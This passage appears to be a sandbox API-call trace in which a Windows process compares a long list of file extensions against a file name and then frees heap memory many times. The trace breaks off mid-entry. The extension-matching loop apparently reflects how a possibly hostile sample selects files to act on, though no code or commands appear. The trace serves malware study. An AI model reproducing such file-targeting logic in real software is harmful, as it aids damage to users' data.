[0056.920] lstrcmpiW (lpString1=".html", lpString2="t.xml") returned -1 [0056.920] lstrlenW (lpString=".icb") returned 4 [0056.920] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0056.920] lstrlenW (lpString=".ics") returned 4 [0056.920] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0056.920] lstrlenW (lpString=".iff") returned 4 [0056.920] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0056.920] lstrlenW (lpString=".inc") returned 4 [0056.920] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0056.920] lstrlenW (lpString=".indd") returned 5 [0056.920] lstrcmpiW (lpString1=".indd", lpString2="t.xml") returned -1 [0056.920] lstrlenW (lpString=".ini") returned 4 [0056.920] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0056.920] lstrlenW (lpString=".iqy") returned 4 [0056.920] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0056.920] lstrlenW (lpString=".j2c") returned 4 [0056.920] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0056.920] lstrlenW (lpString=".j2k") returned 4 [0056.920] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0056.920] lstrlenW (lpString=".java") returned 5 [0056.920] lstrcmpiW (lpString1=".java", lpString2="t.xml") returned -1 [0056.920] lstrlenW (lpString=".jp2") returned 4 [0056.920] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0056.920] lstrlenW (lpString=".jpc") returned 4 [0056.920] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".jpe") returned 4 [0056.921] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".jpeg") returned 5 [0056.921] lstrcmpiW (lpString1=".jpeg", lpString2="t.xml") returned -1 [0056.921] lstrlenW (lpString=".jpf") returned 4 [0056.921] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".jpg") returned 4 [0056.921] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".jpx") returned 4 [0056.921] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".js") returned 3 [0056.921] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0056.921] lstrlenW (lpString=".jsf") returned 4 [0056.921] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".json") returned 5 [0056.921] lstrcmpiW (lpString1=".json", lpString2="t.xml") returned -1 [0056.921] lstrlenW (lpString=".jsp") returned 4 [0056.921] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".kdc") returned 4 [0056.921] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".kmz") returned 4 [0056.921] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".kwm") returned 4 [0056.921] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".lasso") returned 6 [0056.921] lstrcmpiW (lpString1=".lasso", lpString2="rt.xml") returned -1 [0056.921] lstrlenW (lpString=".lbi") returned 4 [0056.921] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".lgf") returned 4 [0056.921] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0056.921] lstrlenW (lpString=".lgp") returned 4 [0056.922] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".log") returned 4 [0056.922] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".m1v") returned 4 [0056.922] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".m4a") returned 4 [0056.922] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".m4v") returned 4 [0056.922] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".max") returned 4 [0056.922] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".md") returned 3 [0056.922] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0056.922] lstrlenW (lpString=".mda") returned 4 [0056.922] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".mdb") returned 4 [0056.922] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".mde") returned 4 [0056.922] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".mdf") returned 4 [0056.922] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".mdw") returned 4 [0056.922] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".mef") returned 4 [0056.922] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".mft") returned 4 [0056.922] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".mfw") returned 4 [0056.922] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0056.922] lstrlenW (lpString=".mht") returned 4 [0056.923] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0056.923] lstrlenW (lpString=".mhtml") returned 6 [0056.923] lstrcmpiW (lpString1=".mhtml", lpString2="rt.xml") returned -1 [0056.923] lstrlenW (lpString=".mka") returned 4 [0056.923] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0056.923] lstrlenW (lpString=".mkidx") returned 6 [0056.923] lstrcmpiW (lpString1=".mkidx", lpString2="rt.xml") returned -1 [0056.923] lstrlenW (lpString=".mkv") returned 4 [0056.923] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0056.923] lstrlenW (lpString=".mos") returned 4 [0056.923] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0056.923] lstrlenW (lpString=".mov") returned 4 [0056.923] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".mp3") returned 4 [0056.924] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".mp4") returned 4 [0056.924] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".mpeg") returned 5 [0056.924] lstrcmpiW (lpString1=".mpeg", lpString2="t.xml") returned -1 [0056.924] lstrlenW (lpString=".mpg") returned 4 [0056.924] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".mpv") returned 4 [0056.924] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".mrw") returned 4 [0056.924] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".msg") returned 4 [0056.924] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".mxl") returned 4 [0056.924] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".myd") returned 4 [0056.924] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".myi") returned 4 [0056.924] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".nef") returned 4 [0056.924] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".nrw") returned 4 [0056.924] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".obj") returned 4 [0056.924] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".odb") returned 4 [0056.924] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".odc") returned 4 [0056.924] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".odm") returned 4 [0056.924] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".odp") returned 4 [0056.924] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0056.924] lstrlenW (lpString=".ods") returned 4 [0056.924] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".oft") returned 4 [0056.925] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".one") returned 4 [0056.925] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".onepkg") returned 7 [0056.925] lstrcmpiW (lpString1=".onepkg", lpString2="ort.xml") returned -1 [0056.925] lstrlenW (lpString=".onetoc2") returned 8 [0056.925] lstrcmpiW (lpString1=".onetoc2", lpString2="port.xml") returned -1 [0056.925] lstrlenW (lpString=".opt") returned 4 [0056.925] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".oqy") returned 4 [0056.925] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".orf") returned 4 [0056.925] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".p12") returned 4 [0056.925] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".p7b") returned 4 [0056.925] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".p7c") returned 4 [0056.925] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".pam") returned 4 [0056.925] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".pbm") returned 4 [0056.925] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".pct") returned 4 [0056.925] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".pcx") returned 4 [0056.925] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".pdd") returned 4 [0056.925] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".pdf") returned 4 [0056.925] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".pdp") returned 4 [0056.925] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0056.925] lstrlenW (lpString=".pef") returned 4 [0056.925] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".pem") returned 4 [0056.926] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".pff") returned 4 [0056.926] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".pfm") returned 4 [0056.926] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".pfx") returned 4 [0056.926] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".pgm") returned 4 [0056.926] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".php") returned 4 [0056.926] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".php3") returned 5 [0056.926] lstrcmpiW (lpString1=".php3", lpString2="t.xml") returned -1 [0056.926] lstrlenW (lpString=".php4") returned 5 [0056.926] lstrcmpiW (lpString1=".php4", lpString2="t.xml") returned -1 [0056.926] lstrlenW (lpString=".php5") returned 5 [0056.926] lstrcmpiW (lpString1=".php5", lpString2="t.xml") returned -1 [0056.926] lstrlenW (lpString=".phtml") returned 6 [0056.926] lstrcmpiW (lpString1=".phtml", lpString2="rt.xml") returned -1 [0056.926] lstrlenW (lpString=".pict") returned 5 [0056.926] lstrcmpiW (lpString1=".pict", lpString2="t.xml") returned -1 [0056.926] lstrlenW (lpString=".pl") returned 3 [0056.926] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0056.926] lstrlenW (lpString=".pls") returned 4 [0056.926] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".pm") returned 3 [0056.926] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0056.926] lstrlenW (lpString=".png") returned 4 [0056.926] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".pnm") returned 4 [0056.926] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".pot") returned 4 [0056.926] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0056.926] lstrlenW (lpString=".potm") returned 5 [0056.926] lstrcmpiW (lpString1=".potm", lpString2="t.xml") returned -1 [0056.926] lstrlenW (lpString=".potx") returned 5 [0056.927] lstrcmpiW (lpString1=".potx", lpString2="t.xml") returned -1 [0056.927] lstrlenW (lpString=".ppa") returned 4 [0056.927] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".ppam") returned 5 [0056.927] lstrcmpiW (lpString1=".ppam", lpString2="t.xml") returned -1 [0056.927] lstrlenW (lpString=".ppm") returned 4 [0056.927] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".pps") returned 4 [0056.927] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".ppsm") returned 5 [0056.927] lstrcmpiW (lpString1=".ppsm", lpString2="t.xml") returned -1 [0056.927] lstrlenW (lpString=".ppt") returned 4 [0056.927] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".pptm") returned 5 [0056.927] lstrcmpiW (lpString1=".pptm", lpString2="t.xml") returned -1 [0056.927] lstrlenW (lpString=".pptx") returned 5 [0056.927] lstrcmpiW (lpString1=".pptx", lpString2="t.xml") returned -1 [0056.927] lstrlenW (lpString=".prn") returned 4 [0056.927] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".ps") returned 3 [0056.927] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0056.927] lstrlenW (lpString=".psb") returned 4 [0056.927] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".psd") returned 4 [0056.927] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".pst") returned 4 [0056.927] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".ptx") returned 4 [0056.927] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".pub") returned 4 [0056.927] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".pwm") returned 4 [0056.927] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".pxr") returned 4 [0056.927] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0056.927] lstrlenW (lpString=".py") returned 3 [0056.927] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0056.928] lstrlenW (lpString=".qt") returned 3 [0056.928] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0056.928] lstrlenW (lpString=".r3d") returned 4 [0056.928] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0056.928] lstrlenW (lpString=".raf") returned 4 [0056.928] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0056.928] lstrlenW (lpString=".rar") returned 4 [0056.928] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.928] lstrlenW (lpString=".raw") returned 4 [0056.928] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0056.929] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0057.832] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0057.832] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0057.832] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0057.833] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0057.835] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0057.835] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0057.835] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0058.383] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0058.383] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0058.383] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0058.538] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0058.538] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0058.539] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0058.540] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0058.540] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0058.540] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0058.540] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0058.541] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0058.541] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0058.566] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0058.838] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0058.916] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0059.016] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0059.364] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0059.658] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0059.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0059.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0059.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0059.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0059.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0059.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0059.852] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0059.855] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0059.855] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0059.855] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0059.855] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0059.855] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0059.980] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0059.981] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0060.023] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0060.185] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0060.185] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0060.285] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0060.285] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0060.583] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0060.982] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0060.983] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0060.983] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0060.984] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0060.984] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0060.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.017] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.017] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.023] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.023] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.024] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.027] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.027] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.029] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.029] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.029] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.125] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.133] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.133] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.142] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.142] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.142] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.191] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.191] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.191] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.207] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.207] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.207] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.227] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.271] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.273] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.273] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.273] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.275] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.283] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.284] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.285] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.300] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.301] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.301] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.304] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.304] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.304] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0061.304] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.304] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.306] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.309] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.309] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.309] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0061.310] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.312] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.313] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.313] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.313] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.337] HeapFree (in: hHeap=0x690000, dwFlags=0x0, 